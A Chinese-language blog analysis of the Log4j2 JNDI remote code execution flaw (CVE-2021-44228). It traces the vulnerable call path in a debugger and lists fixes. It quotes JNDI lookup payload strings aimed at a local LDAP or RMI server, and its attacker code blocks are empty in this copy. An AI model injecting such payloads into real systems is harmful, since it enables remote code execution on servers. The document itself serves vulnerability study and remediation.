CVE-2021-44228分析
本文最后更新于:2024年8月14日 上午
很久之前分析过了,今天形成博客,顺带写了一个工具Demo
Log4j2漏洞原理分析
漏洞简介
Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
漏洞适应版本:2.0 <= Apache log4j2 <=2.14.1。jdk8u65。CVE-2021-44228
前置知识
log4j2
log4j2是apache下的java应用常见的开源日志库,就是一个日志记录工具,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息
JNDI
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
其实就是可以让Java应用程序可以向远程服务器获取资源的接口,这也是这次利用的关键点,利用时常用的有RMI和LDAP两种服务。
Java低版本原理
原理描述
Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。
这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
测试代码
首先我们编写一个测试代码调试一下漏洞是如何形成的:
RMIServer类:用于开启RMI服务,托管我们的恶意类
1 |
|
HackingObj类:恶意代码类
1 |
|
上面的都是攻击者构造的。
测试类:用于测试Log4j2
1 |
|
调试分析
下面打断点调试漏洞路径:先打一个初始断点
首先步进调试到下面的位置,发现在ReusableParameterizedMessage中调用了set函数,其实就是在初始化日志的格式
可以发现这里初始化中的paramArray参数就是我们的payload
以上完成了初始化。
ReusableLogEventFactory中createEvent函数(34行)进行了日志事件的初始化,也就是后面的event变量。
后面进入了LoggerConfig中的callAppender函数,然后这里的函数调用我就不贴图了:调用到AppenderControl中的tryCallAppender,然后调用AbstractOutputStreamAppender中的Append->tryAppend->directEncodeEvent。
在这之后调用了PatternLayout中的encode函数,可以发现调用了toText函数,继续跟进
进入PatternLayout的toText函数,然后调用了序列化函数
在toSerializable函数中,调用format函数,并将当前event和待处理字符串传入
调试到PatternFormatter中的format函数发现此时在格式化需要打印的日志,可以发现在进行格式化的时候有两个参数,一个buf作为输出的缓冲。值得注意的是,这里调用了不同的converter的format函数。
比如处理日期:调用的是DatePatternConverter的format函数
处理字符串,当前的format函数进而调用了LiteralPatternConverter中的format函数
继续调试,输入${jndi:rmi://127.0.0.1/3xsh0re}
对应的是%msg
,处理的converter是MessagePatternConverter
,跟进它的format()。发现在MessagePatternConverter(第102行)中调用了另一个格式化方法,专门解析字符串${}
,这里如果msg中存在${
字符串,取出msg值后,就将整个msg字符串从workingBuilder
中替换掉。
先触发了replace函数,这里如果source也就是我们的payload不为空的话,将会调用substitute函数。那么substitute函数是干什么的呢。
我们继续看StrSubstitutor中的substitute函数,这里调用了另一个返回值为int的重构函数,稍微看一段这段代码,可以发现这个函数实际上是在递归的解析${}
,直到将被包括的内容取出来。
同样的,在这个substitute函数中,递归解析完成了,会调用resolveVariable (第418行)去触发了JndiLookup函数,加载字符串中的内容
这里调用了StrLookup的lookup函数
这是一个接口类,根据不同的事件去匹配不同的实现,这里实现了JndiLookup接口。其实这里可以发现支持了很多的Lookup函数,说明可以解析的参数还有很多。
1 |
|
这里调用JndiLookup中的convertJndiName去处理我们的路径,得到要加载类的地址
然后调用了JndiManager
使用JndiManager的lookup函数,然后这个lookup函数最终调用了java原生的lookup函数,导致反序列化远程加载恶意类。
到此,低版本Java的分析完了。
修复
- 升级到最新版
- 临时修改方法:
- jvm 添加 -Dlog4j2.formatMsgNoLookups=true 参数(版本>=2.10.0有效)
- 设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0有效)
- log4j2 < 2.10以下的版本移除JndiLookup类。
- 禁止没有必要的业务访问外网